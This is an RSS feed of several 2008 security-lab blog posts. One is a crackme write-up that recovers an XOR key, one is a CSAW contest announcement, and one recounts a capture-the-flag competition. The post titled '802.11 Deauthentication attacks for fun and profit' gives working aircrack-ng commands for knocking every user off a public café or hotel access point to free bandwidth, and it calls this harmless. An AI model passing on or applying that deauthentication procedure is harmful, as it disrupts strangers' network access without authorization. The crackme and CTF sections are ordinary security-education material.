<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fsecure-strlen.png" rel="lightbox[165]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fsecure-strlen-300x62.png" alt="compiler-optimized strlen" title="fsecure-strlen" width="300" height="62" class="size-medium wp-image-168" /></a></p>
<p>The XORs start immediately after this check. After staring at it for a while, you will figure out that your input is being used as a key to decrypt a global variable located at 0&#215;690030D0. This global variable becomes the answer e-mail. I wrote out the encrypted e-mail in a column and mapped the XOR&#8217;d input bytes to it. Here is that table (encompasses addresses 69001095 to 690010F6):</p>
<pre>e-mail @ 0x690030D4		input @ 69003100
e-mail[0]: 0x07		XOR	input[0]
e-mail[1]: 0x2E		XOR	input[1]
e-mail[2]: 0x35		XOR	input[2]
e-mail[3]: 0x29		XOR	input[3]
e-mail[4]: 0x70		XOR	input[0]
e-mail[5]: 0x20		XOR	input[1]
e-mail[6]: 0x76		XOR	input[2]
e-mail[7]: 0x68		XOR	input[3]</pre>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fsecure-xors.png" rel="lightbox[165]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fsecure-xors-300x80.png" alt="obfuscated XORs" title="fsecure-xors" width="300" height="80" class="size-medium wp-image-169" /></a></p>
<p>After all the XOR&#8217;s, the application starts to check the final values of 4 select bytes in the e-mail buffer.</p>
<pre>e-mail[4]: 0x70		XOR	input[0] == 0x32
e-mail[1]: 0x2E		XOR	input[1] == 0x61
e-mail[6]: 0x76		XOR	input[2] == 0x30
e-mail[3]: 0x29		XOR	input[3] == 0x79</pre>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/fsecure-compares.png" rel="lightbox[165]"><img src="http://isisblogs.poly.edu/wp-content/uploads/fsecure-compares-300x66.png" alt="The compares that give it away" title="fsecure-compares" width="300" height="66" class="size-medium wp-image-170" /></a></p>
<p>If you do the XOR in reverse, you can find out the input they are looking for:</p>
<pre>0x70	XOR	0x32 = input[0] = 0x42 = B
0x2E	XOR	0x61 = input[1] = 0x4F = O
0x76	XOR	0x30 = input[2] = 0x46 = F
0x29	XOR	0x79 = input[3] = 0x50 = P</pre>
<p>Run the executable, put BOFP into the prompt, all the XORs happen, all the checks pass, and the e-mail buffer decrypts to &#8220;Easy2o08.&#8221; Done!</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/f-secure_khallenge1_running.png" rel="lightbox[165]"><img src="http://isisblogs.poly.edu/wp-content/uploads/f-secure_khallenge1_running-300x262.png" alt="the completed khallenge" title="f-secure_khallenge1_running" width="300" height="262" class="size-medium wp-image-172" /></a></p>
<p>Thanks again Aleksey and Phn1x!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/15/f-secure-khallenge-level-1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>802.11 Deauthentication attacks for fun and profit</title>
		<link>http://isisblogs.poly.edu/2008/08/10/80211-deauthentication-attacks-for-fun-and-profit/</link>
		<comments>http://isisblogs.poly.edu/2008/08/10/80211-deauthentication-attacks-for-fun-and-profit/#comments</comments>
		<pubDate>Sun, 10 Aug 2008 18:33:41 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=161</guid>
		<description><![CDATA[Do you ever connect to the free wifi at your local tea lounge and get assigned an address like 192.168.1.148? Are those 47 other users sucking up all the bandwidth, preventing you from reading that webpage or checking your email for that important message? Has the wireless AP simply crashed under all the load of [...]]]></description>
			<content:encoded><![CDATA[<p>Do you ever connect to the free wifi at your local tea lounge and get assigned an address like 192.168.1.<em>148</em>? Are those 47 other users sucking up all the bandwidth, preventing you from reading that webpage or checking your email for that important message? Has the wireless AP simply crashed under all the load of those hippie mac users continuously reading <a href="http://icanhascheezburger.com/">LOLcats</a> for no good reason?</p>
<p>This happens to me every so often and I use a simple, harmless, and effective technique to deal with it called an 802.11 deauthentication attack. I use aircrack-ng (available on a BackTrack live CD) to temporarily knock everyone off the AP to unclog its pipes and allow you to reach the internets. This blog post will walk you through how to do this yourself if you&#8217;re ever stuck in the same situation.</p>
<p><span id="more-161"></span></p>
<p>First, boot up to <a href="http://www.remote-exploit.org/backtrack_download.html">BackTrack</a> if you don&#8217;t already have aircrack-ng installed and configured.</p>
<p>Second, you need to configure your wireless card for passive monitoring. I have an atheros card and I do it like this. If you have a different card, the interface names may be different.</p>
<pre># airmon-ng stop ath0
# airmon-ng start wifi0</pre>
<p>Third, you need to sniff for the target AP&#8217;s MAC address and channel. Once you see your target AP come up in the airodump-ng list, press CTRL+C to stop airodump-ng and open a new window so you can refer to this one as a reference.</p>
<pre># airodump-ng ath0
[CTRL+C] -- save this window!</pre>
<p>Fourth, you need to set your card to listen on the same channel as your target. Here, my target is on channel 9.</p>
<pre># airmon-ng stop ath0
# airmon-ng start wifi0 9</pre>
<p>Fifth and last, you feed the information you&#8217;ve gathered to aireplay-ng to construct fake <a href="http://www.aircrack-ng.org/doku.php?id=deauthentication">deauthentication</a> packets. This will temporarily knock everyone off the target AP, hopefully unclogging its pipes and allowing you to reach the internets.</p>
<pre># aireplay -0 50 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0</pre>
<ul>
<li>-0 is for a deauth attack</li>
<li>50 is for the number of times to repeat the attack</li>
<li>-a is the for the access point MAC address</li>
<li>-c is for your MAC address (you can find it with &#8216;iwconfig&#8217;)</li>
<li>ath0 is for the interface previously configured with airmon-ng</li>
</ul>
<p>Once the attack ends (after 50 packets) or you CTRL+C it, everyone will be able to join the AP again, so quickly reboot and connect as normal.</p>
<p>This solves 99% of my coffee shop/hotel wifi problems. I hope it works for you!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/10/80211-deauthentication-attacks-for-fun-and-profit/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>CSAW 2008</title>
		<link>http://isisblogs.poly.edu/2008/07/23/csaw-2008/</link>
		<comments>http://isisblogs.poly.edu/2008/07/23/csaw-2008/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 22:44:39 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Press Release]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=144</guid>
		<description><![CDATA[ISIS Lab is organizing NYU-Poly&#8217;s 5th annual Cyber Security Awareness Week (CSAW) where students can compete and win prizes in a variety of information security challenges. There will be door prizes, raffles for participating, and bonus prizes for undergrad and high school participants. Qualified finalists will receive a travel scholarship to attend the awards ceremony [...]]]></description>
			<content:encoded><![CDATA[<p>ISIS Lab is organizing NYU-Poly&#8217;s 5th annual <a href="http://isis.poly.edu/csaw/">Cyber Security Awareness Week</a> (CSAW) where students can compete and win prizes in a variety of information security challenges. There will be door prizes, raffles for participating, and bonus prizes for undergrad and high school participants. Qualified finalists will receive a <strong>travel scholarship to attend the awards ceremony in New York City</strong>.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://isis.poly.edu/csaw/images/csaw_logo.png" alt="" /></p>
<p>Our website with descriptions of the contests as well as winning entries from previous years is located here: <a href="http://isis.poly.edu/csaw">http://isis.poly.edu/csaw</a></p>
<p>Also to note: many of the makers and hardware hackers in this crowd will be happy to know that we have a new <a href="http://isis.poly.edu/csaw/embedded">embedded systems challenge</a> this year. Check it out!</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/07/23/csaw-2008/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>I won HOPE/Packetwars CTF!</title>
		<link>http://isisblogs.poly.edu/2008/07/21/i-won-hopepacketwars-ctf/</link>
		<comments>http://isisblogs.poly.edu/2008/07/21/i-won-hopepacketwars-ctf/#comments</comments>
		<pubDate>Tue, 22 Jul 2008 03:12:14 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[ISIS in the News]]></category>
		<category><![CDATA[Press Release]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=127</guid>
		<description><![CDATA[Of all the things that happened this weekend, I didn&#8217;t expect this! I registered but I probably wouldn&#8217;t have played if Tom Brennan hadn&#8217;t frantically raced up to me at about 6:30 on Friday to tell me that I had to =). Thanks Tom!
I&#8217;ll talk about some of the challenges I went through, but if [...]]]></description>
			<content:encoded><![CDATA[<p>Of all the things that happened this weekend, I didn&#8217;t expect <a href="http://twitter.com/dguido/statuses/862980988">this</a>! I registered but I probably wouldn&#8217;t have played if Tom Brennan hadn&#8217;t frantically raced up to me at about 6:30 on Friday to tell me that I had to =). Thanks Tom!</p>
<p>I&#8217;ll talk about some of the challenges I went through, but if you&#8217;re really interested in these kinds of things you should compete in one of the capture the flag competitions that I developed for these upcoming events:</p>
<ul>
<li>NYU-Poly&#8217;s <a href="http://isis.poly.edu/csaw">Cyber Security Awareness Week</a> &#8211; A yearly event for students that our lab puts on. Compete in 7 different information security competitions for prizes! If you win, we&#8217;ll pay for you to come to NYC and collect your prize!</li>
<li>OWASP <a href="http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference">AppSec NYC</a> &#8211; A 2-day web application security conference taking place downtown this September. There will be a web capture the flag contest, also with prizes. Everyone is welcome to play and challenges will be accessible to beginners and experts alike!</li>
</ul>
<p>Now about HOPE/Packetwars CTF&#8230;<span id="more-127"></span></p>
<p>(many details are witheld as I&#8217;m unsure whether they reuse contest images for other events)</p>
<p>All the challenges were time-limited and you could only play them solo. This was awesome and is something I&#8217;m considering for the CTF&#8217;s that I run (<a href="http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/ctf">OWASP</a> and <a href="http://isis.poly.edu/csaw">CSAW</a>). I wouldn&#8217;t have played CTF if I knew I was going to miss 3 days of my life but 30 minutes was easy to give up.</p>
<p>The CTF was split into 3 rounds where the first round was a qualifier. The objective was to find all the hosts in your network and enumerate their services. It sounds simple but some services were specifically tuned to throw off nmap and pf and tcpwrappers were playing tricks on you. Still think it&#8217;s easy? Try building new tools (who <em>really </em>carries around more than just nmap?), figuring out how pf/tcpwrapper are protecting the services, bypassing that protection, and then scribbling down everything you know on a 3&#215;5 index card (yep, an index card) in 30 minutes!</p>
<p>I started off the first challenge without realizing that we were being graded partially based on how fast we handed in our answers. I ended up in 7th place and just barely qualified for round 2 because of that! I don&#8217;t think anyone else got more information than me, but they all handed it in faster. Oops!</p>
<p>The Packetwars guys hinted that the later rounds would be based on the first, so Friday night I researched a few things about OpenBSD, ssh, dig, and tcpwrapper that might (did) help me out the next day.</p>
<p>That worked great, because round two was a .NET web application (a shopping cart) running on Windows. They gave us no direction and just told us to find the hidden codes inside it in 1 hour. &#8220;Awesome,&#8221; I said, &#8220;my day job is spent doing web security testing, I am going to blow everyone out of the water on this one&#8221;&#8230; The freakin&#8217; app had <a href="http://www.fortify.com/products/detect/in_production.jsp">Fortify Defender</a> (a Web Application Firewall) in front of it and it caught every code injection, SQL injection, and session manipulation attack I tried! I figured they must be asking us to look for logic bugs, leaking credentials in the comments (gasp!) or something else lame like that. 2 clicks later, I used WebScarab&#8217;s &#8220;Fragments&#8221; tab to find the administrative credentials. Go me for thinking like a CTF developer!</p>
<p>So now I&#8217;m hard at work on the admin interface trying to steal money from other users and trying to buy things with my ill-gotten funds, reading other user&#8217;s shopping carts, and locking out my competitors. I tried to violate <strong>every single </strong>item in their security model. Some of it worked, most of it didn&#8217;t, but I couldn&#8217;t find those codes! In my last act of desperation, I started fuzzing every variable I could find with Burp Intruder. Time ended up running out and I never found anything, but luckily no one else did either.</p>
<p>After the second round was over they explained that all they wanted us to do was XSS the front page o_0. WHAT!? Who was there to XSS!? Ourselves!? Sheesh, I really overthought that one. I blame Erik for only teaching me how to 0wn the living daylights out of web apps (no cursing on the blog <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ). When they started looking through packet logs, they unanimously decided I won that round.</p>
<p>Round 3 was back to OpenBSD and was very similar to Round 1. The objective was to gain access to as many of 3 machines you could and to maintain that access. We had 2 hours. Since this one was a little longer and a little deeper, my explanations are abridged.</p>
<p>Problem #0 &#8211; There was a firewall between me and the targets and it wasn&#8217;t making it easy to even <em>find</em> the hosts. This resulted in lots of panicked mashing on keys and liberal use of the command history but I got around it soon enough. Bigger problems followed.<br />
Problem #1 &#8211; All 3 machines were recent versions of OpenBSD (3.9+) which meant no <a href="http://www.security-express.com/archives/vulnwatch/2002-q2/att-0119/01-apache-scalp.c">scalp</a> exploit and no <a href="http://lists.virus.org/bugtraq-0207/msg00001.html">sshutup-theo</a> exploit.<br />
Problem #2 &#8211; All 3 machines were running on <strong>Sparc </strong>which meant that, even if they were vulnerable to CORE&#8217;s <a href="http://www.coresecurity.com/?action=item&amp;id=1703">mbuf exploit</a> or mod_ssl&#8217;s <a href="http://osvdb.org/show/osvdb/18286">SSLVerify_CRL() vulnerability</a>, there was no chance I&#8217;d ever get working shellcode, especially not in 2 hours without a test platform.</p>
<p>So I gave up on ever getting remote code execution. How familiar that it was down to misconfigured services and weak passwords! Some services were still messing with nmap, but that wasn&#8217;t a problem since I had amap and a few protocols memorized for netcat. One or two services were tcpwrapped and played the same tricks as before, but I couldn&#8217;t seem to find the correct IP to authenticate with and those services remained inaccessible to me throughout the round. I used DirBuster to attempt to identify usernames on host 1, used dig to do a zone transfer out of host 2, and used the [previously unknown] DNS name for host 3 to talk to its FTP server. The FTP had a 15 second delay before displaying a USER prompt, so brute forcing it was impossible. The only other service I had to brute force was SSH, so what the heck, I went after it. I used 6 py_sshbrute threads to brute force the passwords for &#8220;root&#8221; and &#8220;hacme&#8221; (their domains were *.hacme.com) with john&#8217;s password.lst. It was right about this time that someone with Nessus managed to crash the SMTP, POP3, and HTTP daemons on a few of the hosts. SMTP and POP never came back up AFAIK (note to CTF developers: always have a console on your vuln box during the contest!).</p>
<p>It was now about an hour into the round and, as I was flailing about trying random attack after random attack, I took detailed notes on my index cards about what I had done so far and why. I didn&#8217;t think anyone else was going to get a shell on any of the boxes unless they got incredibly lucky and I thought the index cards would determine who won. Another 45 minutes went by and I discovered a few more things but nothing that gave me a shell. I spent my last 15 minutes writing down an epic 0wn strategy I could have tried had we been given more time.</p>
<p>Time ran out, no one got any shells, and they used the cards to determine the winner combined with weightings from Round 2. It pays off to carefully listen to and follow the rules <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p>After they announced the winner we all sat around in a circle and discussed the challenges. One of the guys from the Packetwars team actually told me, &#8220;We were running an old, almost 2 years old, version of OpenBSD with remotely exploitable services!&#8221; I&#8217;m sorry guys, no one is dropping fresh exploits or giving you big-endian shellcode for your CTF <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> . One guy also fessed up to running Nessus and bringing down said services heh.</p>
<p>Tools I used at some point: <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">DirBuster</a>, <a href="http://k0h.org/code/py_sshbrute.txt">py_sshbrute</a>, bash, <a href="http://www.hoobie.net/brutus/">Brutus</a>, dig, <a href="http://w3af.sourceforge.net/">w3af</a>, <a href="http://freeworld.thc.org/thc-amap/">THC-AMAP</a>, <a href="http://en.wikipedia.org/wiki/Netcat">netcat</a>, <a href="http://www.openwall.com/john/">john</a>, <a href="http://portswigger.net/suite/">Burp Suite</a>, <a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab</a>, my brain, maybe some other ones&#8230;</p>
<p>All in all, I had a fun time and I would absolutely play in Packetwars CTFs in the future. Even though nothing was as epic-ly hacked as I wanted it to be, the time limits and varied challenges kept me from getting too frustrated. I was able to take away a lot of little techniques that I&#8217;ll be able to integrate into my own CTFs in the future. Thanks everyone!</p>
<p>If you made it this far, let me reiterate: play in the CTFs that I run! <a href="http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference">OWASP AppSec NYC CTF</a> and <a href="http://isis.poly.edu/csaw/">CSAW CTF</a> are both coming up in September.</p>
<p>On another note, I wasn&#8217;t the only one who won it big this weekend. Former ISIS member, Michael Aiello got a video interview on <a href="http://news.cnet.com/8301-1009_3-9995022-83.html?tag=blog.1">CNET news</a> about his RFID-blocking apparel! Check out the video, he is wearing one of our shirts from HOPEÂ 6 <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/AAJqwxLQR5c" /><param name="wmode" value="transparent" /><embed type="application/x-shockwave-flash" width="425" height="355" src="http://www.youtube.com/v/AAJqwxLQR5c" wmode="transparent"></embed></object></p>
<p>&#8220;Michael Aiello, president of <a class="external-link" href="http://www.difrwear.com/">DIFRwear</a>, demonstrates at Last HOPE how easy it is to swipe the data off someone&#8217;s RFID-enabled credit card, building access badge, or passport from a few feet away. DIFRwear sells wallets and cases to protect cards from data thieves.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/07/21/i-won-hopepacketwars-ctf/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>
